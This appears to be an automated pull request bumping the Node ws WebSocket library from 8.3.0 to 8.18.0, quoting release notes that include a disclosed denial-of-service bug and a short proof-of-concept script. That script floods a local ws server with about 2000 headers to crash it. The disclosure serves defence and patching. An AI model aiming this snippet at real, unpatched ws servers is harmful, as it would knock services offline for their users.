Bumps ws from 8.3.0 to 8.18.0.

Release notes

Sourced from ws's releases.

8.18.0

Features

  • Added support for Blob (#2229).

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;


for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;


for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}



}


headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';


const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});


request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.
